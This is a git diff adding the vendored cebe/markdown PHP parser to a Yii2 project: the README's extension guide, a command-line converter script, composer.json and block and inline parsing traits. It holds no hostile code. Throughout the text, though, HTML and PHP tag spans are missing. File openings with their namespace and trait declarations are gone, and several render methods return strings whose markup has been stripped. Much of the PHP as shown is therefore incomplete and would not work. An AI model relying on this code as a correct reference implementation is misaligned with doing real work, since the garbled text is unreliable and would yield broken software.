+ Convert the original markdown description to html using STDIN: + + curl http://daringfireball.net/projects/markdown/syntax.text | bin/markdown > md.html + + + [1] http://daringfireball.net/projects/markdown/syntax + [2] https://help.github.com/articles/github-flavored-markdown + [3] http://michelf.ca/projects/php-markdown/extra/ + + +Extensions +---------- + +Here are some extensions to this library: + +- [Bogardo/markdown-codepen](https://github.com/Bogardo/markdown-codepen) - shortcode to embed codepens from http://codepen.io/ in markdown. +- [kartik-v/yii2-markdown](https://github.com/kartik-v/yii2-markdown) - Advanced Markdown editing and conversion utilities for Yii Framework 2.0. +- [cebe/markdown-latex](https://github.com/cebe/markdown-latex) - Convert Markdown to LaTeX and PDF +- ... [add yours!](https://github.com/cebe/markdown/edit/master/README.md#L98) + + +Extending the language +---------------------- + +Markdown consists of two types of language elements, I'll call them block and inline elements simlar to what you have in +HTML with `
    ` and ``. Block elements are normally spreads over several lines and are separated by blank lines. +The most basic block element is a paragraph (`

    `). +Inline elements are elements that are added inside of block elements i.e. inside of text. + +This markdown parser allows you to extend the markdown language by changing existing elements behavior and also adding +new block and inline elements. You do this by extending from the parser class and adding/overriding class methods and +properties. For the different element types there are different ways to extend them as you will see in the following sections. + +### Adding block elements + +The markdown is parsed line by line to identify each non-empty line as one of the block element types. +To identify a line as the beginning of a block element it calls all protected class methods who's name begins with `identify`. +An identify function returns true if it has identified the block element it is responsible for or false if not. +In the following example we will implement support for [fenced code blocks][] which are part of the github flavored markdown. + +[fenced code blocks]: https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks + "Fenced code block feature of github flavored markdown" + +```php + [], + ]; + $line = rtrim($lines[$current]); + + // detect language and fence length (can be more than 3 backticks) + $fence = substr($line, 0, $pos = strrpos($line, '`') + 1); + $language = substr($line, $pos); + if (!empty($language)) { + $block['language'] = $language; + } + + // consume all lines until ``` + for($i = $current + 1, $count = count($lines); $i < $count; $i++) { + if (rtrim($line = $lines[$i]) !== $fence) { + $block['content'][] = $line; + } else { + // stop consuming when code block is over + break; + } + } + return [$block, $i]; + } + ``` + +2. "rendering" the element. After all blocks have been consumed, they are being rendered using the + `render{elementName}()`-method where `elementName` refers to the name of the element in the abstract syntax tree: + + ```php + protected function renderFencedCode($block) + { + $class = isset($block['language']) ? ' class="language-' . $block['language'] . '"' : ''; + return "

    " . htmlspecialchars(implode("\n", $block['content']) . "\n", ENT_NOQUOTES, 'UTF-8') . '
    '; + } + ``` + + You may also add code highlighting here. In general it would also be possible to render ouput in a different language than + HTML for example LaTeX. + + +### Adding inline elements + +Adding inline elements is different from block elements as they are parsed using markers in the text. +An inline element is identified by a marker that marks the beginning of an inline element (e.g. `[` will mark a possible +beginning of a link or `` ` `` will mark inline code). + +Parsing methods for inline elements are also protected and identified by the prefix `parse`. Additionally a `@marker` annotation +in PHPDoc is needed to register the parse function for one or multiple markers. +The method will then be called when a marker is found in the text. As an argument it takes the text starting at the position of the marker. +The parser method will return an array containing the element of the abstract sytnax tree and an offset of text it has +parsed from the input markdown. All text up to this offset will be removed from the markdown before the next marker will be searched. + +As an example, we will add support for the [strikethrough][] feature of github flavored markdown: + +[strikethrough]: https://help.github.com/articles/github-flavored-markdown#strikethrough "Strikethrough feature of github flavored markdown" + +```php +parseInline($matches[1])], + // return the offset of the parsed text + strlen($matches[0]) + ]; + } + // in case we did not find a closing ~~ we just return the marker and skip 2 characters + return [['text', '~~'], 2]; + } + + // rendering is the same as for block elements, we turn the abstract syntax array into a string. + protected function renderStrike($element) + { + return '' . $this->renderAbsy($element[1]) . ''; + } +} +``` + + +Acknowledgements +---------------- + +I'd like to thank [@erusev][] for creating [Parsedown][] which heavily influenced this work and provided +the idea of the line based parsing approach. + +[@erusev]: https://github.com/erusev "Emanuil Rusev" + +FAQ +--- + +### Why another markdown parser? + +While reviewing PHP markdown parsers for choosing one to use bundled with the [Yii framework 2.0][] +I found that most of the implementations use regex to replace patterns instead +of doing real parsing. This way extending them with new language elements is quite hard +as you have to come up with a complex regex, that matches your addition but does not mess +with other elements. Such additions are very common as you see on github which supports referencing +issues, users and commits in the comments. +A [real parser][] should use context aware methods that walk trough the text and +parse the tokens as they find them. The only implentation that I have found that uses +this approach is [Parsedown][] which also shows that this implementation is [much faster][benchmark] +than the regex way. Parsedown however is an implementation that focuses on speed and implements +its own flavor (mainly github flavored markdown) in one class and at the time of this writing was +not easily extensible. + +Given the situation above I decided to start my own implementation using the parsing approach +from Parsedown and making it extensible creating a class for each markdown flavor that extend each +other in the way that also the markdown languages extend each other. +This allows you to choose between markdown language flavors and also provides a way to compose your +own flavor picking the best things from all. +I chose this approach as it is easier to implement and also more intuitive approach compared +to using callbacks to inject functionallity into the parser. + + +### Where do I report bugs or rendering issues? + +Just [open an issue][] on github, post your markdown code and describe the problem. You may also attach screenshots of the rendered HTML result to describe your problem. + + +### Am I free to use this? + +This library is open source and licensed under the [MIT License][]. This means that you can do whatever you want +with it as long as you mention my name and include the [license file][license]. Check the [license][] for details. + +[MIT License]: http://opensource.org/licenses/MIT + +Contact +------- + +Feel free to contact me using [email](mailto:mail@cebe.cc) or [twitter](https://twitter.com/cebe_cc). + + +[PHP]: http://php.net/ "PHP is a popular general-purpose scripting language that is especially suited to web development." +[Markdown]: http://en.wikipedia.org/wiki/Markdown "Markdown on Wikipedia" +[composer]: https://getcomposer.org/ "The PHP package manager" +[Parsedown]: http://parsedown.org/ "The Parsedown PHP Markdown parser" +[benchmark]: https://github.com/kzykhys/Markbench#readme "kzykhys/Markbench on github" +[Yii framework 2.0]: https://github.com/yiisoft/yii2 +[real parser]: http://en.wikipedia.org/wiki/Parsing#Types_of_parser +[open an issue]: https://github.com/cebe/markdown/issues/new +[license]: https://github.com/cebe/markdown/blob/master/LICENSE diff --git a/php/yii2/basic/vendor/cebe/markdown/bin/markdown b/php/yii2/basic/vendor/cebe/markdown/bin/markdown new file mode 100755 index 00000000..4455e24a --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/bin/markdown @@ -0,0 +1,163 @@ +#!/usr/bin/env php + ['cebe\\markdown\\GithubMarkdown', __DIR__ . '/../GithubMarkdown.php'], + 'extra' => ['cebe\\markdown\\MarkdownExtra', __DIR__ . '/../MarkdownExtra.php'], +]; + +$full = false; +$src = []; +foreach($argv as $k => $arg) { + if ($k == 0) { + continue; + } + if ($arg[0] == '-') { + $arg = explode('=', $arg); + switch($arg[0]) { + case '--flavor': + if (isset($arg[1])) { + if (isset($flavors[$arg[1]])) { + require($flavors[$arg[1]][1]); + $flavor = $flavors[$arg[1]][0]; + } else { + error("Unknown flavor: " . $arg[1], "usage"); + } + } else { + error("Incomplete argument --flavor!", "usage"); + } + break; + case '--full': + $full = true; + break; + case '-h': + case '--help': + echo "PHP Markdown to HTML converter\n"; + echo "------------------------------\n\n"; + echo "by Carsten Brandt \n\n"; + usage(); + break; + default: + error("Unknown argument " . $arg[0], "usage"); + } + } else { + $src[] = $arg; + } +} + +if (empty($src)) { + $markdown = file_get_contents("php://stdin"); +} elseif (count($src) == 1) { + $file = reset($src); + if (!file_exists($file)) { + error("File does not exist:" . $file); + } + $markdown = file_get_contents($file); +} else { + error("Converting multiple files is not yet supported.", "usage"); +} + +/** @var cebe\markdown\Parser $md */ +$md = new $flavor(); +$markup = $md->parse($markdown); + +if ($full) { + echo << + + + + + + +$markup + + +HTML; +} else { + echo $markup; +} + +// functions + +/** + * Display usage information + */ +function usage() { + global $argv; + $cmd = $argv[0]; + echo <<] [--full] [file.md] + + --flavor specifies the markdown flavor to use. If omitted the original markdown by John Gruber [1] will be used. + Available flavors: + + gfm - Github flavored markdown [2] + extra - Markdown Extra [3] + + --full ouput a full HTML page with head and body. If not given, only the parsed markdown will be output. + + --help shows this usage information. + + If no file is specified input will be read from STDIN. + +Examples: + + Render a file with original markdown: + + $cmd README.md > README.html + + Render a file using gihtub flavored markdown: + + $cmd --flavor=gfm README.md > README.html + + Convert the original markdown description to html using STDIN: + + curl http://daringfireball.net/projects/markdown/syntax.text | $cmd > md.html + + +[1] http://daringfireball.net/projects/markdown/syntax +[2] https://help.github.com/articles/github-flavored-markdown +[3] http://michelf.ca/projects/php-markdown/extra/ + +EOF; + exit(1); +} + +/** + * Send custom error message to stderr + * @param $message string + * @param $callback mixed called before script exit + * @return void + */ +function error($message, $callback = null) { + $fe = fopen("php://stderr", "w"); + fwrite($fe, "Error: " . $message . "\n"); + + if (is_callable($callback)) { + call_user_func($callback); + } + + exit(1); +} diff --git a/php/yii2/basic/vendor/cebe/markdown/block/CodeTrait.php b/php/yii2/basic/vendor/cebe/markdown/block/CodeTrait.php new file mode 100644 index 00000000..9bedb02d --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/block/CodeTrait.php @@ -0,0 +1,66 @@ += 4 or one tab is code + return ($l = $line[0]) === ' ' && $line[1] === ' ' && $line[2] === ' ' && $line[3] === ' ' || $l === "\t"; + } + + /** + * Consume lines for a code block element + */ + protected function consumeCode($lines, $current) + { + // consume until newline + + $content = []; + for ($i = $current, $count = count($lines); $i < $count; $i++) { + $line = $lines[$i]; + + // a line is considered to belong to this code block as long as it is intended by 4 spaces or a tab + if (isset($line[0]) && ($line[0] === "\t" || strncmp($lines[$i], ' ', 4) === 0)) { + $line = $line[0] === "\t" ? substr($line, 1) : substr($line, 4); + $content[] = $line; + // but also if it is empty and the next line is intended by 4 spaces or a tab + } elseif ((empty($line) || rtrim($line) === '') && isset($lines[$i + 1][0]) && + ($lines[$i + 1][0] === "\t" || strncmp($lines[$i + 1], ' ', 4) === 0)) { + if (!empty($line)) { + $line = $line[0] === "\t" ? substr($line, 1) : substr($line, 4); + } + $content[] = $line; + } else { + break; + } + } + + $block = [ + 'code', + 'content' => implode("\n", $content), + ]; + return [$block, --$i]; + } + + /** + * Renders a code block + */ + protected function renderCode($block) + { + $class = isset($block['language']) ? ' class="language-' . $block['language'] . '"' : ''; + return "
    " . htmlspecialchars($block['content'] . "\n", ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8') . "
    \n"; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/block/FencedCodeTrait.php b/php/yii2/basic/vendor/cebe/markdown/block/FencedCodeTrait.php new file mode 100644 index 00000000..79609b56 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/block/FencedCodeTrait.php @@ -0,0 +1,54 @@ + implode("\n", $content), + ]; + if (!empty($language)) { + $block['language'] = $language; + } + return [$block, $i]; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/block/HeadlineTrait.php b/php/yii2/basic/vendor/cebe/markdown/block/HeadlineTrait.php new file mode 100644 index 00000000..428de4bd --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/block/HeadlineTrait.php @@ -0,0 +1,70 @@ + $this->parseInline(trim($lines[$current], "# \t")), + 'level' => $level, + ]; + return [$block, $current]; + } else { + // underlined headline + $block = [ + 'headline', + 'content' => $this->parseInline($lines[$current]), + 'level' => $lines[$current + 1][0] === '=' ? 1 : 2, + ]; + return [$block, $current + 1]; + } + } + + /** + * Renders a headline + */ + protected function renderHeadline($block) + { + $tag = 'h' . $block['level']; + return "<$tag>" . $this->renderAbsy($block['content']) . "\n"; + } + + abstract protected function parseInline($text); + abstract protected function renderAbsy($absy); +} diff --git a/php/yii2/basic/vendor/cebe/markdown/block/HtmlTrait.php b/php/yii2/basic/vendor/cebe/markdown/block/HtmlTrait.php new file mode 100644 index 00000000..aadfb167 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/block/HtmlTrait.php @@ -0,0 +1,168 @@ +'); + $spacePos = strpos($lines[$current], ' '); + if ($gtPos === false && $spacePos === false) { + return false; // no html tag + } elseif ($spacePos === false) { + $tag = rtrim(substr($line, 1, $gtPos - 1), '/'); + } else { + $tag = rtrim(substr($line, 1, min($gtPos, $spacePos) - 1), '/'); + } + + if (!ctype_alnum($tag) || in_array(strtolower($tag), $this->inlineHtmlElements)) { + return false; // no html tag or inline html tag + } + return true; + } + + /** + * Consume lines for an HTML block + */ + protected function consumeHtml($lines, $current) + { + $content = []; + if (strncmp($lines[$current], '') !== false) { + break; + } + } + } else { + $tag = rtrim(substr($lines[$current], 1, min(strpos($lines[$current], '>'), strpos($lines[$current] . ' ', ' ')) - 1), '/'); + $level = 0; + if (in_array($tag, $this->selfClosingHtmlElements)) { + $level--; + } + for ($i = $current, $count = count($lines); $i < $count; $i++) { + $line = $lines[$i]; + $content[] = $line; + $level += substr_count($line, "<$tag") - substr_count($line, ""); + if ($level <= 0) { + break; + } + } + } + $block = [ + 'html', + 'content' => implode("\n", $content), + ]; + return [$block, $i]; + } + + /** + * Renders an HTML block + */ + protected function renderHtml($block) + { + return $block['content'] . "\n"; + } + + /** + * Parses an & or a html entity definition. + * @marker & + */ + protected function parseEntity($text) + { + // html entities e.g. © © © + if (preg_match('/^&#?[\w\d]+;/', $text, $matches)) { + return [['inlineHtml', $matches[0]], strlen($matches[0])]; + } else { + return [['text', '&'], 1]; + } + } + + /** + * renders a html entity. + */ + protected function renderInlineHtml($block) + { + return $block[1]; + } + + /** + * Parses inline HTML. + * @marker < + */ + protected function parseInlineHtml($text) + { + if (strpos($text, '>') !== false) { + if (preg_match('~^~', $text, $matches)) { + // HTML tags + return [['inlineHtml', $matches[0]], strlen($matches[0])]; + } elseif (preg_match('~^~', $text, $matches)) { + // HTML comments + return [['inlineHtml', $matches[0]], strlen($matches[0])]; + } + } + return [['text', '<'], 1]; + } + + /** + * Escapes `>` characters. + * @marker > + */ + protected function parseGt($text) + { + return [['text', '>'], 1]; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/block/ListTrait.php b/php/yii2/basic/vendor/cebe/markdown/block/ListTrait.php new file mode 100644 index 00000000..cb2a0a0a --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/block/ListTrait.php @@ -0,0 +1,182 @@ +) starts with 1. + */ + public $keepListStartNumber = false; + + /** + * identify a line as the beginning of an ordered list. + */ + protected function identifyOl($line) + { + return (($l = $line[0]) > '0' && $l <= '9' || $l === ' ') && preg_match('/^ {0,3}\d+\.[ \t]/', $line); + } + + /** + * identify a line as the beginning of an unordered list. + */ + protected function identifyUl($line) + { + $l = $line[0]; + return ($l === '-' || $l === '+' || $l === '*') && (isset($line[1]) && (($l1 = $line[1]) === ' ' || $l1 === "\t")) || + ($l === ' ' && preg_match('/^ {0,3}[\-\+\*][ \t]/', $line)); + } + + /** + * Consume lines for an ordered list + */ + protected function consumeOl($lines, $current) + { + // consume until newline + + $block = [ + 'list', + 'list' => 'ol', + 'attr' => [], + 'items' => [], + ]; + return $this->consumeList($lines, $current, $block, 'ol'); + } + + /** + * Consume lines for an unordered list + */ + protected function consumeUl($lines, $current) + { + // consume until newline + + $block = [ + 'list', + 'list' => 'ul', + 'items' => [], + ]; + return $this->consumeList($lines, $current, $block, 'ul'); + } + + private function consumeList($lines, $current, $block, $type) + { + $item = 0; + $indent = ''; + $len = 0; + // track the indentation of list markers, if indented more than previous element + // a list marker is considered to be long to a lower level + $leadSpace = 3; + $marker = $type === 'ul' ? ltrim($lines[$current])[0] : ''; + for ($i = $current, $count = count($lines); $i < $count; $i++) { + $line = $lines[$i]; + // match list marker on the beginning of the line + if (preg_match($type == 'ol' ? '/^( {0,'.$leadSpace.'})(\d+)\.[ \t]+/' : '/^( {0,'.$leadSpace.'})\\'.$marker.'[ \t]+/', $line, $matches)) { + if (($len = substr_count($matches[0], "\t")) > 0) { + $indent = str_repeat("\t", $len); + $line = substr($line, strlen($matches[0])); + } else { + $len = strlen($matches[0]); + $indent = str_repeat(' ', $len); + $line = substr($line, $len); + } + if ($i === $current) { + $leadSpace = strlen($matches[1]) + 1; + } + + if ($type == 'ol' && $this->keepListStartNumber) { + // attr `start` for ol + if (!isset($block['attr']['start']) && isset($matches[2])) { + $block['attr']['start'] = $matches[2]; + } + } + + $block['items'][++$item][] = $line; + } elseif (ltrim($line) === '') { + // next line after empty one is also a list or indented -> lazy list + if (isset($lines[$i + 1][0]) && ( + $this->{'identify' . $type}($lines[$i + 1], $lines, $i + 1) && ($type !== 'ul' || ltrim($lines[$i + 1])[0] === $marker) || + (strncmp($lines[$i + 1], $indent, $len) === 0 || !empty($lines[$i + 1]) && $lines[$i + 1][0] == "\t"))) { + $block['items'][$item][] = $line; + $block['lazyItems'][$item] = true; + } else { + break; + } + } else { + if ($line[0] === "\t") { + $line = substr($line, 1); + } elseif (strncmp($line, $indent, $len) === 0) { + $line = substr($line, $len); + } + $block['items'][$item][] = $line; + } + } + + // make last item lazy if item before was lazy + if (isset($block['lazyItems'][$item - 1])) { + $block['lazyItems'][$item] = true; + } + + foreach($block['items'] as $itemId => $itemLines) { + $content = []; + if (!isset($block['lazyItems'][$itemId])) { + $firstPar = []; + while (!empty($itemLines) && rtrim($itemLines[0]) !== '' && $this->detectLineType($itemLines, 0) === 'paragraph') { + $firstPar[] = array_shift($itemLines); + } + $content = $this->parseInline(implode("\n", $firstPar)); + } + if (!empty($itemLines)) { + $content = array_merge($content, $this->parseBlocks($itemLines)); + } + $block['items'][$itemId] = $content; + } + + return [$block, $i]; + } + + /** + * Renders a list + */ + protected function renderList($block) + { + $type = $block['list']; + + if (!empty($block['attr'])) { + $output = "<$type " . $this->generateHtmlAttributes($block['attr']) . ">\n"; + } else { + $output = "<$type>\n"; + } + + foreach ($block['items'] as $item => $itemLines) { + $output .= '
  1. ' . $this->renderAbsy($itemLines). "
  2. \n"; + } + return $output . "\n"; + } + + + /** + * Return html attributes string from [attrName => attrValue] list + * @param array $attributes the attribute name-value pairs. + * @return string + */ + private function generateHtmlAttributes($attributes) + { + foreach ($attributes as $name => $value) { + $attributes[$name] = "$name=\"$value\""; + } + return implode(' ', $attributes); + } + + abstract protected function parseInline($text); + abstract protected function renderAbsy($absy); +} diff --git a/php/yii2/basic/vendor/cebe/markdown/block/QuoteTrait.php b/php/yii2/basic/vendor/cebe/markdown/block/QuoteTrait.php new file mode 100644 index 00000000..4040ddf8 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/block/QuoteTrait.php @@ -0,0 +1,63 @@ +' && (!isset($line[1]) || ($l1 = $line[1]) === ' ' || $l1 === "\t"); + } + + /** + * Consume lines for a blockquote element + */ + protected function consumeQuote($lines, $current) + { + // consume until newline + $content = []; + for ($i = $current, $count = count($lines); $i < $count; $i++) { + $line = $lines[$i]; + if (ltrim($line) !== '') { + if ($line[0] == '>' && !isset($line[1])) { + $line = ''; + } elseif (strncmp($line, '> ', 2) === 0) { + $line = substr($line, 2); + } + $content[] = $line; + } else { + break; + } + } + + $block = [ + 'quote', + 'content' => $this->parseBlocks($content), + 'simple' => true, + ]; + return [$block, $i]; + } + + + /** + * Renders a blockquote + */ + protected function renderQuote($block) + { + return '
    ' . $this->renderAbsy($block['content']) . "
    \n"; + } + + abstract protected function parseBlocks($lines); + abstract protected function renderAbsy($absy); +} diff --git a/php/yii2/basic/vendor/cebe/markdown/block/RuleTrait.php b/php/yii2/basic/vendor/cebe/markdown/block/RuleTrait.php new file mode 100644 index 00000000..26f4b700 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/block/RuleTrait.php @@ -0,0 +1,40 @@ +html5 ? "
    \n" : "
    \n"; + } + +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/block/TableTrait.php b/php/yii2/basic/vendor/cebe/markdown/block/TableTrait.php new file mode 100644 index 00000000..bd4d9fea --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/block/TableTrait.php @@ -0,0 +1,116 @@ + [], + 'rows' => [], + ]; + $beginsWithPipe = $lines[$current][0] === '|'; + for ($i = $current, $count = count($lines); $i < $count; $i++) { + $line = $lines[$i]; + + if ($i == $current+1) { // skip second line + $cols = explode('|', trim($line, ' |')); + foreach($cols as $col) { + $col = trim($col); + if (empty($col)) { + $block['cols'][] = ''; + continue; + } + $l = ($col[0] === ':'); + $r = (substr($col, -1, 1) === ':'); + if ($l && $r) { + $block['cols'][] = 'center'; + } elseif ($l) { + $block['cols'][] = 'left'; + } elseif ($r) { + $block['cols'][] = 'right'; + } else { + $block['cols'][] = ''; + } + } + + continue; + } + if (trim($line) === '' || $beginsWithPipe && $line[0] !== '|') { + break; + } + if (substr($line, -2, 2) !== '\\|' || substr($line, -3, 3) === '\\\\|') { + $block['rows'][] = trim($line, '| '); + } else { + $block['rows'][] = ltrim($line, '| '); + } + } + + return [$block, --$i]; + } + + /** + * render a table block + */ + protected function renderTable($block) + { + $content = ''; + $this->_tableCellAlign = $block['cols']; + $content .= "
    \n"; + $first = true; + foreach($block['rows'] as $row) { + $this->_tableCellTag = $first ? 'th' : 'td'; + $align = empty($this->_tableCellAlign[$this->_tableCellCount]) ? '' : ' align="' . $this->_tableCellAlign[$this->_tableCellCount++] . '"'; + $tds = "<$this->_tableCellTag$align>" . $this->renderAbsy($this->parseInline($row)) . "_tableCellTag>"; // TODO move this to the consume step + $content .= "$tds\n"; + if ($first) { + $content .= "\n\n"; + } + $first = false; + $this->_tableCellCount = 0; + } + return "
    \n$content\n
    \n"; + } + + /** + * @marker | + */ + protected function parseTd($markdown) + { + if (isset($this->context[1]) && $this->context[1] === 'table') { + $align = empty($this->_tableCellAlign[$this->_tableCellCount]) ? '' : ' align="' . $this->_tableCellAlign[$this->_tableCellCount++] . '"'; + return [['text', "_tableCellTag><$this->_tableCellTag$align>"], isset($markdown[1]) && $markdown[1] === ' ' ? 2 : 1]; // TODO make a absy node + } + return [['text', $markdown[0]], 1]; + } + + abstract protected function parseInline($text); + abstract protected function renderAbsy($absy); +} diff --git a/php/yii2/basic/vendor/cebe/markdown/composer.json b/php/yii2/basic/vendor/cebe/markdown/composer.json new file mode 100644 index 00000000..844c0229 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/composer.json @@ -0,0 +1,42 @@ +{ + "name": "cebe/markdown", + "description": "A super fast, highly extensible markdown parser for PHP", + "keywords": ["markdown", "gfm", "markdown-extra", "fast", "extensible"], + "homepage": "https://github.com/cebe/markdown#readme", + "type": "library", + "license": "MIT", + "authors": [ + { + "name": "Carsten Brandt", + "email": "mail@cebe.cc", + "homepage": "http://cebe.cc/", + "role": "Creator" + } + ], + "support": { + "issues": "https://github.com/cebe/markdown/issues", + "source": "https://github.com/cebe/markdown" + }, + "require": { + "php": ">=5.4.0", + "lib-pcre": "*" + }, + "require-dev": { + "phpunit/phpunit": "3.7.*", + "facebook/xhprof": "*@dev", + "cebe/indent": "*" + }, + "autoload": { + "psr-4": { + "cebe\\markdown\\": "" + } + }, + "bin": [ + "bin/markdown" + ], + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/inline/CodeTrait.php b/php/yii2/basic/vendor/cebe/markdown/inline/CodeTrait.php new file mode 100644 index 00000000..63eb3ef4 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/inline/CodeTrait.php @@ -0,0 +1,45 @@ +' . htmlspecialchars($block[1], ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8') . ''; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/inline/EmphStrongTrait.php b/php/yii2/basic/vendor/cebe/markdown/inline/EmphStrongTrait.php new file mode 100644 index 00000000..1cd62148 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/inline/EmphStrongTrait.php @@ -0,0 +1,64 @@ +parseInline($matches[1]), + ], + strlen($matches[0]) + ]; + } + } else { // emph + if ($marker == '*' && preg_match('/^[*]((?:[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s', $text, $matches) || + $marker == '_' && preg_match('/^_((?:[^_]|__[^_]*__)+?)_(?!_)\b/us', $text, $matches)) { + return [ + [ + 'emph', + $this->parseInline($matches[1]), + ], + strlen($matches[0]) + ]; + } + } + return [['text', $text[0]], 1]; + } + + protected function renderStrong($block) + { + return '' . $this->renderAbsy($block[1]) . ''; + } + + protected function renderEmph($block) + { + return '' . $this->renderAbsy($block[1]) . ''; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/inline/LinkTrait.php b/php/yii2/basic/vendor/cebe/markdown/inline/LinkTrait.php new file mode 100644 index 00000000..77628162 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/inline/LinkTrait.php @@ -0,0 +1,262 @@ +references = []; + * } + * ``` + */ +trait LinkTrait +{ + /** + * @var array a list of defined references in this document. + */ + protected $references = []; + + /** + * Parses a link indicated by `[`. + * @marker [ + */ + protected function parseLink($markdown) + { + if (!in_array('parseLink', array_slice($this->context, 1)) && ($parts = $this->parseLinkOrImage($markdown)) !== false) { + list($text, $url, $title, $offset, $key) = $parts; + return [ + [ + 'link', + 'text' => $this->parseInline($text), + 'url' => $url, + 'title' => $title, + 'refkey' => $key, + 'orig' => substr($markdown, 0, $offset), + ], + $offset + ]; + } else { + // remove all starting [ markers to avoid next one to be parsed as link + $result = '['; + $i = 1; + while (isset($markdown[$i]) && $markdown[$i] == '[') { + $result .= '['; + $i++; + } + return [['text', $result], $i]; + } + } + + /** + * Parses an image indicated by `![`. + * @marker ![ + */ + protected function parseImage($markdown) + { + if (($parts = $this->parseLinkOrImage(substr($markdown, 1))) !== false) { + list($text, $url, $title, $offset, $key) = $parts; + + return [ + [ + 'image', + 'text' => $text, + 'url' => $url, + 'title' => $title, + 'refkey' => $key, + 'orig' => substr($markdown, 0, $offset + 1), + ], + $offset + 1 + ]; + } else { + // remove all starting [ markers to avoid next one to be parsed as link + $result = '!'; + $i = 1; + while (isset($markdown[$i]) && $markdown[$i] == '[') { + $result .= '['; + $i++; + } + return [['text', $result], $i]; + } + } + + protected function parseLinkOrImage($markdown) + { + if (strpos($markdown, ']') !== false && preg_match('/\[((?>[^\]\[]+|(?R))*)\]/', $markdown, $textMatches)) { // TODO improve bracket regex + $text = $textMatches[1]; + $offset = strlen($textMatches[0]); + $markdown = substr($markdown, $offset); + + $pattern = <<[^\s()]+)|(?R))*\) + | # else match a link with title + ^\((((?>[^\s()]+)|(?R))*)(\s+"(.*?)")?\) + )/x +REGEXP; + if (preg_match($pattern, $markdown, $refMatches)) { + // inline link + return [ + $text, + isset($refMatches[2]) ? $refMatches[2] : '', // url + empty($refMatches[5]) ? null: $refMatches[5], // title + $offset + strlen($refMatches[0]), // offset + null, // reference key + ]; + } elseif (preg_match('/^([ \n]?\[(.*?)\])?/s', $markdown, $refMatches)) { + // reference style link + if (empty($refMatches[2])) { + $key = strtolower($text); + } else { + $key = strtolower($refMatches[2]); + } + return [ + $text, + null, // url + null, // title + $offset + strlen($refMatches[0]), // offset + $key, + ]; + } + } + return false; + } + + /** + * Parses inline HTML. + * @marker < + */ + protected function parseLt($text) + { + if (strpos($text, '>') !== false) { + if (!in_array('parseLink', $this->context)) { // do not allow links in links + if (preg_match('/^<([^\s]*?@[^\s]*?\.\w+?)>/', $text, $matches)) { + // email address + return [ + ['email', $matches[1]], + strlen($matches[0]) + ]; + } elseif (preg_match('/^<([a-z]{3,}:\/\/[^\s]+?)>/', $text, $matches)) { + // URL + return [ + ['url', $matches[1]], + strlen($matches[0]) + ]; + } + } + // try inline HTML if it was neither a URL nor email if HtmlTrait is included. + if (method_exists($this, 'parseInlineHtml')) { + return $this->parseInlineHtml($text); + } + } + return [['text', '<'], 1]; + } + + protected function renderEmail($block) + { + $email = htmlspecialchars($block[1], ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8'); + return "$email"; + } + + protected function renderUrl($block) + { + $url = htmlspecialchars($block[1], ENT_COMPAT | ENT_HTML401, 'UTF-8'); + $text = htmlspecialchars(urldecode($block[1]), ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8'); + return "$text"; + } + + protected function lookupReference($key) + { + $normalizedKey = preg_replace('/\s+/', ' ', $key); + if (isset($this->references[$key]) || isset($this->references[$key = $normalizedKey])) { + return $this->references[$key]; + } + return false; + } + + protected function renderLink($block) + { + if (isset($block['refkey'])) { + if (($ref = $this->lookupReference($block['refkey'])) !== false) { + $block = array_merge($block, $ref); + } else { + return $block['orig']; + } + } + return '' . $this->renderAbsy($block['text']) . ''; + } + + protected function renderImage($block) + { + if (isset($block['refkey'])) { + if (($ref = $this->lookupReference($block['refkey'])) !== false) { + $block = array_merge($block, $ref); + } else { + return $block['orig']; + } + } + return '' . htmlspecialchars($block['text'], ENT_COMPAT | ENT_HTML401 | ENT_SUBSTITUTE, 'UTF-8') . 'html5 ? '>' : ' />'); + } + + // references + + protected function identifyReference($line) + { + return ($line[0] === ' ' || $line[0] === '[') && preg_match('/^ {0,3}\[(.+?)\]:\s*([^\s]+?)(?:\s+[\'"](.+?)[\'"])?\s*$/', $line); + } + + /** + * Consume link references + */ + protected function consumeReference($lines, $current) + { + while (isset($lines[$current]) && preg_match('/^ {0,3}\[(.+?)\]:\s*(.+?)(?:\s+[\(\'"](.+?)[\)\'"])?\s*$/', $lines[$current], $matches)) { + $label = strtolower($matches[1]); + + $this->references[$label] = [ + 'url' => $matches[2], + ]; + if (isset($matches[3])) { + $this->references[$label]['title'] = $matches[3]; + } else { + // title may be on the next line + if (isset($lines[$current + 1]) && preg_match('/^\s+[\(\'"](.+?)[\)\'"]\s*$/', $lines[$current + 1], $matches)) { + $this->references[$label]['title'] = $matches[1]; + $current++; + } + } + $current++; + } + return [false, --$current]; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/inline/StrikeoutTrait.php b/php/yii2/basic/vendor/cebe/markdown/inline/StrikeoutTrait.php new file mode 100644 index 00000000..6373e14e --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/inline/StrikeoutTrait.php @@ -0,0 +1,37 @@ +parseInline($matches[1]) + ], + strlen($matches[0]) + ]; + } + return [['text', $markdown[0] . 